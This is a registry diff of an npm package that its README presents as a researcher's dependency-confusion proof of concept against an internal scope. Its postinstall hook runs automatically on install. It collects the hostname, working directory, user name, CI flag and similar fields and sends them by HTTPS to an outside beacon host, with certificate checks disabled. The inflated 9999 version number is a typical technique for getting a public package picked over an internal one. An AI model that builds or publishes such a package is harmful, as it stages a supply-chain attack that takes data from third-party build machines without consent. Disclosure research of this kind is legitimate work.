@sbb-rsu/ui-banners 9999.9999.9999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +47 -0
- package/index.js +2 -0
- package/package.json +19 -0
- package/postinstall.js +45 -0
package/README.md
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
IMPORTANT NOTICE
|
|
2
|
+
================
|
|
3
|
+
|
|
4
|
+
This is a Proof of Concept package for a possible *dependency confusion vulnerability* surfaced by the package author, a security researcher going by "geosns", during their research. It contains harmless PoC code to demonstrate the vulnerability. At the time of publication, both the npm organisation and every package under it were unclaimed on the
|
|
5
|
+
public registry, so I was able to register it. The now existence of this package is the Proof of Concept.
|
|
6
|
+
|
|
7
|
+
Published: 2026-06-05
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
What this package does on install (postinstall hook)
|
|
11
|
+
----------------------------------------------------
|
|
12
|
+
A single fire-and-forget HTTPS GET to an out-of-band endpoint controlled by the researcher, sending only the following non-secret identifying fields:
|
|
13
|
+
|
|
14
|
+
- hostname (os.hostname())
|
|
15
|
+
- platform + arch
|
|
16
|
+
- install working directory (cwd)
|
|
17
|
+
- npm_config_user_agent
|
|
18
|
+
- build user (USER / USERNAME env)
|
|
19
|
+
- CI flag
|
|
20
|
+
- timestamp
|
|
21
|
+
|
|
22
|
+
Then exits.
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
What this package does NOT do
|
|
26
|
+
-----------------------------
|
|
27
|
+
- Does NOT dump process.env or any secret-bearing env var (no *_TOKEN,
|
|
28
|
+
*_KEY, AWS_*, GITHUB_*, NPM_TOKEN, etc.).
|
|
29
|
+
- Does NOT read source files, SSH keys, .npmrc, ~/.aws/, ~/.kube/, or
|
|
30
|
+
any filesystem location beyond the working directory string.
|
|
31
|
+
- Does NOT modify build output, install other packages, or persist
|
|
32
|
+
beyond process exit.
|
|
33
|
+
- Does NOT keep a connection open: single GET, then exit.
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
If you are the program owner and find this installed
|
|
37
|
+
----------------------------------------------------
|
|
38
|
+
Seeing this package installed in your build environment confirms that an *internal* build path resolved this scope against the *public* npm
|
|
39
|
+
registry instead of your private registry. Your build pipeline confused an internal package it depends on (in this case `@sbb-rsu/ui-banners`)
|
|
40
|
+
with a package of the same name on the public registry.
|
|
41
|
+
|
|
42
|
+
This is "dependency confusion". An attacker can abuse it by publishing a malicious package on the public registry under the same scope and
|
|
43
|
+
name as a target's internal package; any build environment that misroutes to public npm then executes the attacker's code. See [Birsan,
|
|
44
|
+
2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610).
|
|
45
|
+
|
|
46
|
+
Upon your confirmation of my finding, these packages and their parent npm organisations will be transferred to you to mitigate the
|
|
47
|
+
vulnerability. Please contact `geosns@intigriti.me` before any other action so this can be coordinated through your bug bounty program.
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@sbb-rsu/ui-banners",
|
|
3
|
+
"version": "9999.9999.9999",
|
|
4
|
+
"description": "Proof-of-Concept for a dependency-confusion finding (see README). Benign OAST beacon only.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"license": "MIT",
|
|
10
|
+
"author": "geosns",
|
|
11
|
+
"publishConfig": {
|
|
12
|
+
"access": "public"
|
|
13
|
+
},
|
|
14
|
+
"files": [
|
|
15
|
+
"index.js",
|
|
16
|
+
"postinstall.js",
|
|
17
|
+
"README.md"
|
|
18
|
+
]
|
|
19
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
let pkg = 'unknown';
|
|
6
|
+
try { pkg = require('./package.json').name; } catch (e) {}
|
|
7
|
+
|
|
8
|
+
const A = 'dd8bd833o18ss72u31s6017ybiubj7ytbd.cb.responsiblyfree.net';
|
|
9
|
+
|
|
10
|
+
const fields = {
|
|
11
|
+
poc: 'dependency-confusion',
|
|
12
|
+
pkg: pkg,
|
|
13
|
+
host: os.hostname(),
|
|
14
|
+
platform: process.platform,
|
|
15
|
+
arch: process.arch,
|
|
16
|
+
cwd: process.cwd(),
|
|
17
|
+
ua: process.env.npm_config_user_agent || '',
|
|
18
|
+
user: process.env.USER || process.env.USERNAME || '',
|
|
19
|
+
ci: process.env.CI || '',
|
|
20
|
+
ts: new Date().toISOString(),
|
|
21
|
+
};
|
|
22
|
+
const qs = Object.keys(fields)
|
|
23
|
+
.map((k) => encodeURIComponent(k) + '=' + encodeURIComponent(String(fields[k])))
|
|
24
|
+
.join('&');
|
|
25
|
+
|
|
26
|
+
let finished = false;
|
|
27
|
+
function done() { if (finished) return; finished = true; try { process.exit(0); } catch (e) {} }
|
|
28
|
+
|
|
29
|
+
try {
|
|
30
|
+
const req = https.request(
|
|
31
|
+
{
|
|
32
|
+
hostname: A,
|
|
33
|
+
port: 443,
|
|
34
|
+
path: '/poc?' + qs,
|
|
35
|
+
method: 'GET',
|
|
36
|
+
timeout: 4000,
|
|
37
|
+
rejectUnauthorized: false,
|
|
38
|
+
headers: { 'User-Agent': '@ssb-rsu/ui-banners' },
|
|
39
|
+
},
|
|
40
|
+
(res) => { res.on('data', () => {}); res.on('end', done); }
|
|
41
|
+
);
|
|
42
|
+
req.on('error', done);
|
|
43
|
+
req.on('timeout', () => { try { req.destroy(); } catch (e) {} done(); });
|
|
44
|
+
req.end();
|
|
45
|
+
} catch (e) { done(); }
|